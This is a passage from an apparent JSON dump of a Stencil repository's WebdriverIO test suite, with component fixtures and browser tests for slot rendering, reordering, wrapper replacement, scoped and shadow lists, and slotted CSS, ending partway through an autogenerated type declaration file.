    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-no-default', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <slot-no-default>\n          <a slot=\"a-slot-name\">A-Show</a>\n          <header slot=\"header-slot-name\">Header-No-Show</header>\n          <main>Default-Slot-No-Show</main>\n          <nav slot=\"nav-slot-name\">Nav-Show</nav>\n          <footer slot=\"footer-slot-name\">Footer-Show</footer>\n        </slot-no-default>\n      ),\n    });\n\n    await $('slot-no-default').waitForExist();\n  });\n\n  it('only renders slots that have a location', async () => {\n    await expect($('slot-no-default a')).not.toHaveAttribute('hidden');\n    await expect($('slot-no-default header')).toHaveAttribute('hidden', 'true');\n    await expect($('slot-no-default main')).toHaveAttribute('hidden', 'true');\n    await expect($('slot-no-default nav')).not.toHaveAttribute('hidden');\n    await expect($('slot-no-default footer')).not.toHaveAttribute('hidden');\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-no-default/cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'slot-no-default',\n  shadow: false,\n})\nexport class SlotNoDefault {\n  render() {\n    return (\n      <Host>\n        <slot name=\"a-slot-name\" />\n        <section>\n          <slot name=\"footer-slot-name\" />\n        </section>\n        <div>\n          <article>\n            <slot name=\"nav-slot-name\" />\n          </article>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-none/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $ } from '@wdio/globals';\n\ndescribe('slot-none', () => {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <slot-none>\n          <li>Item 1</li>\n          <li>Item 2</li>\n          <li>Item 3</li>\n        </slot-none>\n      ),\n    });\n\n    await $('slot-none').waitForExist();\n  });\n\n  it('should not apply slot fixes if there are no slots', async () => {\n    const slotNone = document.querySelector('slot-none');\n    expect(slotNone.children).toHaveLength(3);\n    expect(slotNone.children[0].tagName).toBe('LI');\n    expect(slotNone.childNodes.length).toBe(3);\n    expect((slotNone.childNodes[2] as HTMLElement).tagName).toBe('LI');\n    expect((slotNone as any).__children).toBeFalsy();\n    expect((slotNone as any).__childNodes).toBeFalsy();\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-none/cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'slot-none',\n})\nexport class SlotNone {\n  render() {\n    return <Host role=\"list\"></Host>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-parent-tag-change/cmp-root.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-parent-tag-change-root',\n})\nexport class SlotParentTagChangeRoot {\n  @Prop() element = 'p';\n\n  render() {\n    return (\n      <slot-parent-tag-change element={this.element}>\n        <slot></slot>\n      </slot-parent-tag-change>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-parent-tag-change/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser, expect } from '@wdio/globals';\n\n/**\n * Tests the cases where a node is slotted in and the slot's parent element dynamically changes\n * (e.g. from `p` to `span`).\n */\ndescribe('slot-parent-tag-change', () => {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          {/*Test \"top-level\" slot*/}\n          <slot-parent-tag-change id=\"top-level\"> Hello </slot-parent-tag-change>\n          {/*Test nested slot*/}\n          <slot-parent-tag-change-root> World </slot-parent-tag-change-root>\n\n          <button type=\"button\" id=\"top-level-button\">\n            Change Top-Level Slot\n          </button>\n          <button type=\"button\" id=\"nested-button\">\n            Change Nested Slot\n          </button>\n        </>\n      ),\n    });\n\n    await $('slot-parent-tag-change').waitForExist();\n\n    document.querySelector('#top-level-button').addEventListener('click', () => {\n      document.querySelector('#top-level').setAttribute('element', 'span');\n    });\n    document.querySelector('#nested-button').addEventListener('click', () => {\n      document.querySelector('slot-parent-tag-change-root').setAttribute('element', 'span');\n    });\n  });\n\n  describe('direct slot', () => {\n    it('should relocate the text node to the slot after the parent tag changes', async () => {\n      let root = document.querySelectorAll('#top-level > *');\n\n      expect(root.length).toBe(1);\n      expect(root[0].tagName).toBe('P');\n      expect(root[0].textContent.trim()).toBe('Hello');\n\n      await $('#top-level-button').click();\n      await browser.pause(100);\n\n      root = document.querySelectorAll('#top-level > *');\n      expect(root.length).toBe(1);\n      expect(root[0].tagName).toBe('SPAN');\n      expect(root[0].textContent.trim()).toBe('Hello');\n    });\n  });\n\n  describe('nested slot', () => {\n    it('should relocate the text node to the slot after the parent tag changes', async () => {\n      let root = document.querySelectorAll('slot-parent-tag-change-root slot-parent-tag-change > *');\n\n      expect(root).not.toBeNull();\n      expect(root.length).toBe(1);\n      expect(root[0].tagName).toBe('P');\n      expect(root[0].textContent.trim()).toBe('World');\n\n      await $('#nested-button').click();\n      await browser.pause(100);\n\n      root = document.querySelectorAll('slot-parent-tag-change-root slot-parent-tag-change > *');\n      expect(root.length).toBe(1);\n      expect(root[0].tagName).toBe('SPAN');\n      expect(root[0].textContent.trim()).toBe('World');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-parent-tag-change/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-parent-tag-change',\n})\nexport class SlotParentTagChange {\n  @Prop() element = 'p';\n\n  render() {\n    return (\n      <this.element>\n        <slot></slot>\n      </this.element>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-reorder/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'slot-reorder-root',\n})\nexport class SlotReorderRoot {\n  @State() reordered = false;\n\n  testClick() {\n    this.reordered = !this.reordered;\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.testClick.bind(this)} class=\"test\">\n          Test\n        </button>\n\n        <slot-reorder class=\"results1\" reordered={this.reordered}></slot-reorder>\n\n        <hr />\n\n        <slot-reorder class=\"results2\" reordered={this.reordered}>\n          <div>default content</div>\n        </slot-reorder>\n\n        <hr />\n\n        <slot-reorder class=\"results3\" reordered={this.reordered}>\n          <div slot=\"slot-b\">slot-b content</div>\n          <div>default content</div>\n          <div slot=\"slot-a\">slot-a content</div>\n        </slot-reorder>\n\n        <hr />\n\n        <slot-reorder class=\"results4\" reordered={this.reordered}>\n          <div slot=\"slot-b\">slot-b content</div>\n          <div slot=\"slot-a\">slot-a content</div>\n          <div>default content</div>\n        </slot-reorder>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-reorder/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-reorder', () => {\n  const style = `.reordered {\n  background: yellow;\n}`;\n\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <style>{style}</style>\n          <slot-reorder-root></slot-reorder-root>\n        </>\n      ),\n    });\n\n    await $('slot-reorder-root').waitForExist();\n  });\n\n  it('renders', async () => {\n    function ordered() {\n      let r = document.querySelector('.results1 div');\n      expect(r.children[0].textContent.trim()).toBe('fallback default');\n      expect(r.children[0].hasAttribute('hidden')).toBe(false);\n      expect(r.children[0].getAttribute('name')).toBe(null);\n      expect(r.children[1].textContent.trim()).toBe('fallback slot-a');\n      expect(r.children[1].hasAttribute('hidden')).toBe(false);\n      expect(r.children[1].getAttribute('name')).toBe('slot-a');\n      expect(r.children[2].textContent.trim()).toBe('fallback slot-b');\n      expect(r.children[2].hasAttribute('hidden')).toBe(false);\n      expect(r.children[2].getAttribute('name')).toBe('slot-b');\n\n      r = document.querySelector('.results2 div');\n      expect(r.children[0].textContent.trim()).toBe('fallback default');\n      expect(r.children[0].hasAttribute('hidden')).toBe(true);\n      expect(r.children[0].getAttribute('name')).toBe(null);\n      expect(r.children[1].textContent.trim()).toBe('default content');\n      expect(r.children[2].textContent.trim()).toBe('fallback slot-a');\n      expect(r.children[2].hasAttribute('hidden')).toBe(false);\n      expect(r.children[2].getAttribute('name')).toBe('slot-a');\n      expect(r.children[3].textContent.trim()).toBe('fallback slot-b');\n      expect(r.children[3].hasAttribute('hidden')).toBe(false);\n      expect(r.children[3].getAttribute('name')).toBe('slot-b');\n\n      r = document.querySelector('.results3 div');\n      expect(r.children[0].textContent.trim()).toBe('fallback default');\n      expect(r.children[0].hasAttribute('hidden')).toBe(true);\n      expect(r.children[0].getAttribute('name')).toBe(null);\n      expect(r.children[1].textContent.trim()).toBe('default content');\n      expect(r.children[2].textContent.trim()).toBe('fallback slot-a');\n      expect(r.children[2].hasAttribute('hidden')).toBe(true);\n      expect(r.children[2].getAttribute('name')).toBe('slot-a');\n      expect(r.children[3].textContent.trim()).toBe('slot-a content');\n      expect(r.children[4].textContent.trim()).toBe('fallback slot-b');\n      expect(r.children[4].hasAttribute('hidden')).toBe(true);\n      expect(r.children[4].getAttribute('name')).toBe('slot-b');\n      expect(r.children[5].textContent.trim()).toBe('slot-b content');\n\n      r = document.querySelector('.results4 div');\n      expect(r.children[0].textContent.trim()).toBe('fallback default');\n      expect(r.children[0].hasAttribute('hidden')).toBe(true);\n      expect(r.children[0].getAttribute('name')).toBe(null);\n      expect(r.children[1].textContent.trim()).toBe('default content');\n      expect(r.children[2].textContent.trim()).toBe('fallback slot-a');\n      expect(r.children[2].hasAttribute('hidden')).toBe(true);\n      expect(r.children[2].getAttribute('name')).toBe('slot-a');\n      expect(r.children[3].textContent.trim()).toBe('slot-a content');\n      expect(r.children[4].textContent.trim()).toBe('fallback slot-b');\n      expect(r.children[4].hasAttribute('hidden')).toBe(true);\n      expect(r.children[4].getAttribute('name')).toBe('slot-b');\n      expect(r.children[5].textContent.trim()).toBe('slot-b content');\n    }\n\n    function reordered() {\n      let r = document.querySelector('.results1 div');\n      expect(r.children[0].textContent.trim()).toBe('fallback slot-b');\n      expect(r.children[0].hasAttribute('hidden')).toBe(false);\n      expect(r.children[0].getAttribute('name')).toBe('slot-b');\n      expect(r.children[1].textContent.trim()).toBe('fallback default');\n      expect(r.children[1].hasAttribute('hidden')).toBe(false);\n      expect(r.children[1].getAttribute('name')).toBe(null);\n      expect(r.children[2].textContent.trim()).toBe('fallback slot-a');\n      expect(r.children[2].hasAttribute('hidden')).toBe(false);\n      expect(r.children[2].getAttribute('name')).toBe('slot-a');\n\n      r = document.querySelector('.results2 div');\n      expect(r.children[0].textContent.trim()).toBe('fallback slot-b');\n      expect(r.children[0].hasAttribute('hidden')).toBe(false);\n      expect(r.children[0].getAttribute('name')).toBe('slot-b');\n      expect(r.children[1].textContent.trim()).toBe('fallback default');\n      expect(r.children[1].hasAttribute('hidden')).toBe(true);\n      expect(r.children[1].getAttribute('name')).toBe(null);\n      expect(r.children[2].textContent.trim()).toBe('default content');\n      expect(r.children[3].textContent.trim()).toBe('fallback slot-a');\n      expect(r.children[3].hasAttribute('hidden')).toBe(false);\n      expect(r.children[3].getAttribute('name')).toBe('slot-a');\n\n      r = document.querySelector('.results3 div');\n      expect(r.children[0].textContent.trim()).toBe('fallback slot-b');\n      expect(r.children[0].hasAttribute('hidden')).toBe(true);\n      expect(r.children[0].getAttribute('name')).toBe('slot-b');\n      expect(r.children[1].textContent.trim()).toBe('slot-b content');\n      expect(r.children[2].textContent.trim()).toBe('fallback default');\n      expect(r.children[2].hasAttribute('hidden')).toBe(true);\n      expect(r.children[2].getAttribute('name')).toBe(null);\n      expect(r.children[3].textContent.trim()).toBe('default content');\n      expect(r.children[4].textContent.trim()).toBe('fallback slot-a');\n      expect(r.children[4].hasAttribute('hidden')).toBe(true);\n      expect(r.children[4].getAttribute('name')).toBe('slot-a');\n      expect(r.children[5].textContent.trim()).toBe('slot-a content');\n\n      r = document.querySelector('.results4 div');\n      expect(r.children[0].textContent.trim()).toBe('fallback slot-b');\n      expect(r.children[0].hasAttribute('hidden')).toBe(true);\n      expect(r.children[0].getAttribute('name')).toBe('slot-b');\n      expect(r.children[1].textContent.trim()).toBe('slot-b content');\n      expect(r.children[2].textContent.trim()).toBe('fallback default');\n      expect(r.children[2].hasAttribute('hidden')).toBe(true);\n      expect(r.children[2].getAttribute('name')).toBe(null);\n      expect(r.children[3].textContent.trim()).toBe('default content');\n      expect(r.children[4].textContent.trim()).toBe('fallback slot-a');\n      expect(r.children[4].hasAttribute('hidden')).toBe(true);\n      expect(r.children[4].getAttribute('name')).toBe('slot-a');\n      expect(r.children[5].textContent.trim()).toBe('slot-a content');\n    }\n\n    await $('.results1 div').waitForExist();\n    ordered();\n\n    await $('button').click();\n    await browser.waitUntil(async () => {\n      return document.querySelector('div.reordered');\n    });\n\n    await $('.results1 div').waitForExist();\n    reordered();\n\n    await $('button').click();\n    await browser.waitUntil(async () => {\n      return !document.querySelector('div.reordered');\n    });\n\n    await $('.results1 div').waitForExist();\n    ordered();\n\n    await $('button').click();\n    await browser.waitUntil(async () => {\n      return document.querySelector('div.reordered');\n    });\n\n    await $('.results1 div').waitForExist();\n    reordered();\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-reorder/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-reorder',\n})\nexport class SlotReorder {\n  @Prop() reordered = false;\n\n  render() {\n    if (this.reordered) {\n      return (\n        <div class=\"reordered\">\n          <slot name=\"slot-b\">\n            <div>fallback slot-b</div>\n          </slot>\n          <slot>\n            <div>fallback default</div>\n          </slot>\n          <slot name=\"slot-a\">\n            <div>fallback slot-a</div>\n          </slot>\n        </div>\n      );\n    }\n\n    return (\n      <div>\n        <slot>\n          <div>fallback default</div>\n        </slot>\n        <slot name=\"slot-a\">\n          <div>fallback slot-a</div>\n        </slot>\n        <slot name=\"slot-b\">\n          <div>fallback slot-b</div>\n        </slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-replace-wrapper/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'slot-replace-wrapper-root',\n})\nexport class SlotReplaceWrapperRoot {\n  @State() href?: string;\n\n  componentDidLoad() {\n    this.href = 'http://stenciljs.com/';\n  }\n\n  render() {\n    return (\n      <main>\n        <slot-replace-wrapper href={this.href} class=\"results1\">\n          <content-end slot=\"start\">A</content-end>\n        </slot-replace-wrapper>\n\n        <slot-replace-wrapper href={this.href} class=\"results2\">\n          <content-end>B</content-end>\n        </slot-replace-wrapper>\n\n        <slot-replace-wrapper href={this.href} class=\"results3\">\n          <content-end slot=\"end\">C</content-end>\n        </slot-replace-wrapper>\n\n        <slot-replace-wrapper href={this.href} class=\"results4\">\n          <content-start slot=\"start\">A</content-start>\n          <content-default>B</content-default>\n          <content-end slot=\"end\">C</content-end>\n        </slot-replace-wrapper>\n\n        <slot-replace-wrapper href={this.href} class=\"results5\">\n          <content-default>B</content-default>\n          <content-end slot=\"end\">C</content-end>\n          <content-start slot=\"start\">A</content-start>\n        </slot-replace-wrapper>\n\n        <slot-replace-wrapper href={this.href} class=\"results6\">\n          <content-end slot=\"end\">C</content-end>\n          <content-start slot=\"start\">A</content-start>\n          <content-default>B</content-default>\n        </slot-replace-wrapper>\n\n        <slot-replace-wrapper href={this.href} class=\"results7\">\n          <content-start slot=\"start\">A1</content-start>\n          <content-start slot=\"start\">A2</content-start>\n          <content-default>B1</content-default>\n          <content-default>B2</content-default>\n          <content-end slot=\"end\">C1</content-end>\n          <content-end slot=\"end\">C2</content-end>\n        </slot-replace-wrapper>\n\n        <slot-replace-wrapper href={this.href} class=\"results8\">\n          <content-default>B1</content-default>\n          <content-end slot=\"end\">C1</content-end>\n          <content-start slot=\"start\">A1</content-start>\n          <content-default>B2</content-default>\n          <content-end slot=\"end\">C2</content-end>\n          <content-start slot=\"start\">A2</content-start>\n        </slot-replace-wrapper>\n      </main>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-replace-wrapper/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot replace wrapper', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <slot-replace-wrapper-root></slot-replace-wrapper-root>,\n    });\n\n    await $('slot-replace-wrapper-root').waitForExist();\n    // Tests are flakey without this\n    await $('.results1 a').waitForExist();\n  });\n\n  it('renders A', async () => {\n    const result = document.querySelector('.results1 a');\n    expect(result.textContent.trim()).toBe('A');\n    expect(result.children[0].textContent.trim()).toBe('A');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n\n  it('renders B', async () => {\n    const result = document.querySelector('.results2 a');\n    expect(result.textContent.trim()).toBe('B');\n    expect(result.children[0].children[0].textContent.trim()).toBe('B');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n\n  it('renders C', async () => {\n    const result = document.querySelector('.results3 a');\n    expect(result.textContent.trim()).toBe('C');\n    expect(result.children[0].children[0].children[0].textContent.trim()).toBe('C');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n\n  it('renders ABC from ABC', async () => {\n    const result = document.querySelector('.results4 a');\n    expect(result.textContent.trim()).toBe('ABC');\n    expect(result.children[0].textContent.trim()).toBe('A');\n    expect(result.children[1].children[0].textContent.trim()).toBe('B');\n    expect(result.children[1].children[1].children[0].textContent.trim()).toBe('C');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n\n  it('renders ABC from BCA', async () => {\n    const result = document.querySelector('.results5 a');\n    expect(result.textContent.trim()).toBe('ABC');\n    expect(result.children[0].textContent.trim()).toBe('A');\n    expect(result.children[1].children[0].textContent.trim()).toBe('B');\n    expect(result.children[1].children[1].children[0].textContent.trim()).toBe('C');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n\n  it('renders ABC from CAB', async () => {\n    const result = document.querySelector('.results6 a');\n    expect(result.textContent.trim()).toBe('ABC');\n    expect(result.children[0].textContent.trim()).toBe('A');\n    expect(result.children[1].children[0].textContent.trim()).toBe('B');\n    expect(result.children[1].children[1].children[0].textContent.trim()).toBe('C');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n\n  it('renders A1A2B1B2C1C2 from A1A2B1B2C1C2', async () => {\n    const result = document.querySelector('.results7 a');\n    expect(result.textContent.trim()).toBe('A1A2B1B2C1C2');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n\n  it('renders A1A2B1B2C1C2 from B1C1A1B2C2A2', async () => {\n    const result = document.querySelector('.results8 a');\n    expect(result.textContent.trim()).toBe('A1A2B1B2C1C2');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-replace-wrapper/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-replace-wrapper',\n})\nexport class SlotReplaceWrapper {\n  @Prop() href?: string;\n\n  render() {\n    const TagType = (this.href != null ? 'a' : 'div') as any;\n    const attrs = (this.href != null ? { href: this.href, target: '_blank' } : {}) as any;\n\n    return [\n      <TagType {...attrs}>\n        <slot name=\"start\" />\n        <span>\n          <slot />\n          <span>\n            <slot name=\"end\" />\n          </span>\n        </span>\n      </TagType>,\n      <hr />,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-scoped-list/dynamic-scoped-list-cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-dynamic-scoped-list',\n  scoped: true,\n})\nexport class DynamicListScopedComponent {\n  @Prop() items: Array<string> = [];\n\n  render() {\n    return (\n      <slot-light-scoped-list>\n        {this.items.map((item) => (\n          <div>{item}</div>\n        ))}\n      </slot-light-scoped-list>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-scoped-list/list-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-light-scoped-list',\n})\nexport class SlotLightScopedList {\n  render() {\n    return [\n      <section>These are my items:</section>,\n      <article class=\"list-wrapper\" style={{ border: '2px solid green' }}>\n        <slot></slot>\n      </article>,\n      <div>That's it....</div>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-scoped-list/root-cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-scoped-list', () => {\n  beforeEach(() => {\n    render({\n      template: () => <slot-list-light-scoped-root></slot-list-light-scoped-root>,\n    });\n  });\n\n  it('renders this list in correct slots', async () => {\n    const button = await $('slot-list-light-scoped-root button');\n    const list = await $('slot-dynamic-scoped-list');\n\n    await expect(button).toBeExisting();\n    await expect(list).toBeExisting();\n\n    await expect(list.$$('.list-wrapper > div')).not.toBeExisting();\n\n    await button.click();\n\n    await expect(list.$$('.list-wrapper > div')).toBeElementsArrayOfSize(4);\n\n    const hiddenCmp = document.querySelector('[hidden]');\n    expect(hiddenCmp).toBe(null);\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-scoped-list/root-cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-list-light-scoped-root',\n})\nexport class SlotListLightScopedRoot {\n  @Prop({ mutable: true })\n  items: string[] = [];\n\n  needMore() {\n    const newItems = [\n      `Item ${this.items.length + 1}`,\n      `Item ${this.items.length + 2}`,\n      `Item ${this.items.length + 3}`,\n      `Item ${this.items.length + 4}`,\n    ];\n\n    this.items = [...this.items, ...newItems];\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={() => this.needMore()}>More</button>\n        <slot-dynamic-scoped-list items={this.items} />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-shadow-list/dynamic-shadow-list-cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-dynamic-shadow-list',\n  shadow: true,\n})\nexport class DynamicListShadowComponent {\n  @Prop() items: Array<string> = [];\n\n  render() {\n    return (\n      <slot-light-list>\n        {this.items.map((item) => (\n          <div>{item}</div>\n        ))}\n      </slot-light-list>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-shadow-list/list-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-light-list',\n})\nexport class SlotLightList {\n  render() {\n    return [\n      <section>These are my items:</section>,\n      <article class=\"list-wrapper\" style={{ border: '2px solid blue' }}>\n        <slot></slot>\n      </article>,\n      <div>That's it....</div>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-shadow-list/root-cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-shadow-list', () => {\n  beforeEach(() => {\n    render({\n      template: () => <slot-list-light-root></slot-list-light-root>,\n    });\n  });\n\n  it('renders this list in correct slots', async () => {\n    const button = await $('slot-list-light-root button');\n    const list = await $('slot-dynamic-shadow-list');\n\n    await expect(button).toBeExisting();\n    await expect(list).toBeExisting();\n\n    let items = list.$$('>>>.list-wrapper > div');\n    await expect(items).toBeElementsArrayOfSize(0);\n\n    await button.click();\n\n    items = list.$$('>>>.list-wrapper > div');\n    await expect(items).toBeElementsArrayOfSize(4);\n\n    const hiddenCmp = document.querySelector('[hidden]');\n    expect(hiddenCmp).toBe(null);\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-shadow-list/root-cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-list-light-root',\n})\nexport class SlotListLightRoot {\n  @Prop({ mutable: true })\n  items: string[] = [];\n\n  needMore() {\n    const newItems = [\n      `Item ${this.items.length + 1}`,\n      `Item ${this.items.length + 2}`,\n      `Item ${this.items.length + 3}`,\n      `Item ${this.items.length + 4}`,\n    ];\n\n    this.items = [...this.items, ...newItems];\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={() => this.needMore()}>More</button>\n        <slot-dynamic-shadow-list items={this.items} />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slotted-css/cmp.css",
    "content": ":host {\n  display: inline-flex;\n  border: 2px dashed gray;\n  padding: 2px;\n}\n\n/* 1. [Edge] no border on default slot */\n.content ::slotted(*) {\n  background-color: rgb(0, 255, 0);\n}\n\n/* 2. [Edge] extra border shows up on host */\n::slotted(:not([slot=\"header-slot-name\"])) {\n  border: 4px solid rgb(0, 0, 255);\n  color: rgb(0, 0, 255);\n  font-weight: bold;\n}\n\n::slotted([slot=\"header-slot-name\"]) {\n  border: 4px solid rgb(255, 0, 0);\n  color: rgb(255, 0, 0);\n  font-weight: bold;\n}\n\n::slotted(*) {\n  margin: 8px;\n  padding: 8px;\n}\n"
  },
  {
    "path": "test/wdio/slotted-css/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slotted css', function () {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <slotted-css>\n          <div class=\"red\" slot=\"header-slot-name\">\n            header-slot-name: red color and border\n          </div>\n          <div class=\"green\">default slot: green background, blue border and color</div>\n          <div class=\"blue\" slot=\"footer-slot-name\">\n            footer-slot-name: blue color and border\n          </div>\n        </slotted-css>\n      ),\n    });\n\n    await $('slotted-css').waitForExist();\n  });\n\n  it('assign slotted css', async () => {\n    const redElm = $('slotted-css .red');\n    await expect(redElm).toHaveStyle({ color: 'rgb(255,0,0)' });\n\n    // green background, blue border and color\n    const greenElm = $('slotted-css .green');\n    await expect(greenElm).toHaveStyle({\n      background: `none 0% 0% auto repeat padding-box border-box scroll rgb(0, 255, 0)`,\n      color: 'rgb(0,0,255)',\n    });\n\n    const blueElm = $('slotted-css .blue');\n    await expect(blueElm).toHaveStyle({ color: 'rgb(0,0,255)' });\n  });\n});\n"
  },
  {
    "path": "test/wdio/slotted-css/cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'slotted-css',\n  styleUrl: 'cmp.css',\n  shadow: true,\n})\nexport class SlottedCss {\n  render() {\n    return (\n      <Host>\n        <section>\n          <header>\n            <slot name=\"header-slot-name\" />\n          </header>\n          <section class=\"content\">\n            <slot />\n          </section>\n          <footer>\n            <slot name=\"footer-slot-name\" />\n          </footer>\n        </section>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface AppRoot {\n    }\n    interface CmpA {\n    }\n    interface CmpB {\n    }\n    interface CmpC {\n    }\n    interface CmpClientScoped {\n    }\n    interface CmpClientShadow {\n    }\n    interface CmpD {\n        /**\n          * @default ''\n         */\n        \"uniqueId\": string;\n    }\n    interface CmpScopedA {\n    }\n    interface CmpScopedB {\n    }\n    interface CmpTextBlue {\n    }\n    interface CmpTextGreen {\n    }\n    interface TestSvg {\n    }\n}\ndeclare global {\n    interface HTMLAppRootElement extends Components.AppRoot, HTMLStencilElement {\n    }\n    var HTMLAppRootElement: {\n        prototype: HTMLAppRootElement;\n        new (): HTMLAppRootElement;\n    };\n    interface HTMLCmpAElement extends Components.CmpA, HTMLStencilElement {\n    }\n    var HTMLCmpAElement: {\n        prototype: HTMLCmpAElement;\n        new (): HTMLCmpAElement;\n    };\n    interface HTMLCmpBElement extends Components.CmpB, HTMLStencilElement {\n    }\n    var HTMLCmpBElement: {\n        prototype: HTMLCmpBElement;\n        new (): HTMLCmpBElement;\n    };\n    interface HTMLCmpCElement extends Components.CmpC, HTMLStencilElement {\n    }\n    var HTMLCmpCElement: {\n        prototype: HTMLCmpCElement;\n        new (): HTMLCmpCElement;\n    };\n    interface HTMLCmpClientScopedElement extends Components.CmpClientScoped, HTMLStencilElement {\n    }\n    var HTMLCmpClientScopedElement: {\n        prototype: HTMLCmpClientScopedElement;\n        new (): HTMLCmpClientScopedElement;\n    };\n    interface HTMLCmpClientShadowElement extends Components.CmpClientShadow, HTMLStencilElement {\n    }\n    var HTMLCmpClientShadowElement: {\n        prototype: HTMLCmpClientShadowElement;\n        new (): HTMLCmpClientShadowElement;\n    };\n    interface HTMLCmpDElement extends Components.CmpD, HTMLStencilElement {\n    }\n    var HTMLCmpDElement: {\n        prototype: HTMLCmpDElement;\n        new (): HTMLCmpDElement;\n    };\n    interface HTMLCmpScopedAElement extends Components.CmpScopedA, HTMLStencilElement {\n    }\n    var HTMLCmpScopedAElement: {\n        prototype: HTMLCmpScopedAElement;\n        new (): HTMLCmpScopedAElement;\n    };\n    interface HTMLCmpScopedBElement extends Components.CmpScopedB, HTMLStencilElement {\n    }\n    var HTMLCmpScopedBElement: {\n        prototype: HTMLCmpScopedBElement;\n        new (): HTMLCmpScopedBElement;\n    };\n    interface HTMLCmpTextBlueElement extends Components.CmpTextBlue, HTMLStencilElement {\n    }\n    var HTMLCmpTextBlueElement: {\n        prototype: HTMLCmpTextBlueElement;\n        new (): HTMLCmpTextBlueElement;\n    };\n    interface HTMLCmpTextGreenElement extends Components.CmpTextGreen, HTMLStencilElement {\n    }\n    var HTMLCmpTextGreenElement: {\n        prototype: HTMLCmpTextGreenElement;\n        new (): HTMLCmpTextGreenElement;\n    };\n    interface HTMLTestSvgElement extends Components.TestSvg, HTMLStencilElement {\n    }\n    var HTMLTestSvgElement: {\n        prototype: HTMLTestSvgElement;\n        new (): HTMLTestSvgElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"app-root\": HTMLAppRootElement;\n        \"cmp-a\": HTMLCmpAElement;\n        